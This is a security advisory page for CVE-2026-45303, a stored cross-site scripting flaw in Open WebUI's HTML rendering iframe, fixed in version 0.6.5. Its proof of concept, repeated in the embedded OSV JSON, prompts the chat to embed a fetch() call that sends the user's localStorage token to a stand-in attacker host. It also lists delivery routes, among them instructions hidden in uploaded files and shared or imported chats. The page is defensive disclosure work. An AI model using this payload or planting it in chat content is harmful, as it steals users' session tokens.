CVE-2026-45303: Open webui Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-4vrc-m9ch-6m3r
CVSS 7.7
CWE-79
Published
Advisory Summary

CVE-2026-45303 is a HIGH (CVSS 7.7) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Open webui libraries in the PyPI ecosystem. The issue involves open webui has stored xss via the html renedering view. Remediation is available by upgrading affected packages to version 0.6.5.

CVE-2026-45303 at a Glance

CVE Identifier CVE-2026-45303
GHSA Identifier GHSA-4vrc-m9ch-6m3r
Severity HIGH
CVSS v3.1 Base Score 7.7
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Open webui
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-45303

To remediate this vulnerability, upgrade all affected Open webui dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

open-webui fixed: 0.6.5
pip install open-webui>=0.6.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show open-webui

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-45303, inspect your installed packages using pip:

pip show open-webui

Analyze the terminal output to locate any version of Open webui in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.6.5), your application is affected.

Note: The pip show open-webui command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Open webui, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Through the HTML rendering view, scripts can be injected and executed. The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4. ### Details The frontend provides a function to visualize the HTML content of a current chat. The content is embedded in an iFrame with the following sandbox directive: `sandbox="allow-scripts allow-forms allow-same-origin"` This means that the content is placed in a sandbox but with permission to execute scripts and access the parent’s data (e.g., local storage). As a result, only a few functions are restricted (e.g., displaying an alert box), but in effect, the sandbox attribute is largely nullified. ### PoC If an HTML document containing a script is included in the chat, this script will be embedded in the view and executed. This can be achieved with a message like the following: ``` Create an HTML form and insert the following script into the document: `fetch('https://www.attacker.local/?' + localStorage.getItem('token'))` ``` By entering this message, the script fetch('https://www.attacker.local/?' + localStorage.getItem('token')) is embedded, allowing the user's token to be read and sent to www.attacker.local. ![grafik](https://github.com/user-attachments/assets/2bfa9f19-6bd7-40b4-82ca-20435838a304) ### Impact Fundamentally, this is a Self-XSS attack (executable only in the user's own context). However, the code could also be injected into another user's context through the following vectors: - If an attacker manages to trick the user into entering the input (as users may not expect JavaScript execution via chat inputs). - There is a `Chat Share` function. A shared chat can be cloned, potentially transferring the input to another user's context. - If the instruction is embedded in a file (text, PDF, etc.) and the victim uploads the file to the chat, causing the content to be displayed (e.g., using the command "Show content"). - By importing a chat via "Settings - Conversations - Import Conversations." An attack is only successful under these conditions, which is why the `Attack Complexity` vector has been set to `High`. Overall, the likelihood of exploitation (Exploitability) is considered very low. ### Recommendation The iFrame sandbox should be defined more restrictively to prevent scripts from executing with access to the parent’s data.

CVE-2026-45303 Affected Open webui Versions

1 component(s)
Fixed Versions:
0.6.5
Product / Package Ecosystem Affected Versions Fixed Version
open-webui
PyPI
< 0.6.5
0.6.5

References

Frequently Asked Questions

What is CVE-2026-45303?
CVE-2026-45303 is a security vulnerability in Open webui involving Open WebUI has stored XSS via the HTML renedering view under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Open webui versions are affected?
Affected versions include releases prior to 0.6.5 across affected packages: open-webui.
What version fixes CVE-2026-45303?
Upgrading to 0.6.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is open-webui affected?
Yes, open-webui is affected in releases prior to 0.6.5. Upgrade your dependency to 0.6.5 or later.
What is the CVSS score of CVE-2026-45303?
CVE-2026-45303 has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-45303?
CVE-2026-45303 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check PyPI dependencies for CVE-2026-45303?
Run the dependency tree command: 'pip show open-webui'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4vrc-m9ch-6m3r",
  "modified" : "2026-05-19T15:58:08Z",
  "published" : "2026-05-14T20:16:07Z",
  "aliases" : [ "CVE-2026-45303" ],
  "summary" : "Open WebUI has stored XSS via the HTML renedering view",
  "details" : "### Summary\nThrough the HTML rendering view, scripts can be injected and executed. \nThe finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.\n\n### Details\nThe frontend provides a function to visualize the HTML content of a current chat. The content is embedded in an iFrame with the following sandbox directive:\n\n`sandbox=\"allow-scripts allow-forms allow-same-origin\"`\n\nThis means that the content is placed in a sandbox but with permission to execute scripts and access the parent’s data (e.g., local storage). As a result, only a few functions are restricted (e.g., displaying an alert box), but in effect, the sandbox attribute is largely nullified.\n\n### PoC\nIf an HTML document containing a script is included in the chat, this script will be embedded in the view and executed. This can be achieved with a message like the following:\n```\nCreate an HTML form and insert the following script into the document:  \n`fetch('https://www.attacker.local/?' + localStorage.getItem('token'))`\n```\nBy entering this message, the script fetch('https://www.attacker.local/?' + localStorage.getItem('token')) is embedded, allowing the user's token to be read and sent to www.attacker.local.\n\n![grafik](https://github.com/user-attachments/assets/2bfa9f19-6bd7-40b4-82ca-20435838a304)\n\n### Impact\nFundamentally, this is a Self-XSS attack (executable only in the user's own context). However, the code could also be injected into another user's context through the following vectors:  \n\n- If an attacker manages to trick the user into entering the input (as users may not expect JavaScript execution via chat inputs).  \n- There is a `Chat Share` function. A shared chat can be cloned, potentially transferring the input to another user's context.  \n- If the instruction is embedded in a file (text, PDF, etc.) and the victim uploads the file to the chat, causing the content to be displayed (e.g., using the command \"Show content\").  \n- By importing a chat via \"Settings - Conversations - Import Conversations.\"  \n\nAn attack is only successful under these conditions, which is why the `Attack Complexity` vector has been set to `High`.  \nOverall, the likelihood of exploitation (Exploitability) is considered very low.\n\n### Recommendation\nThe iFrame sandbox should be defined more restrictively to prevent scripts from executing with access to the parent’s data.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "open-webui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.6.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-4vrc-m9ch-6m3r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45303"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/open-webui/open-webui"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-14T20:16:07Z",
    "nvd_published_at" : "2026-05-15T22:16:53Z"
  }
}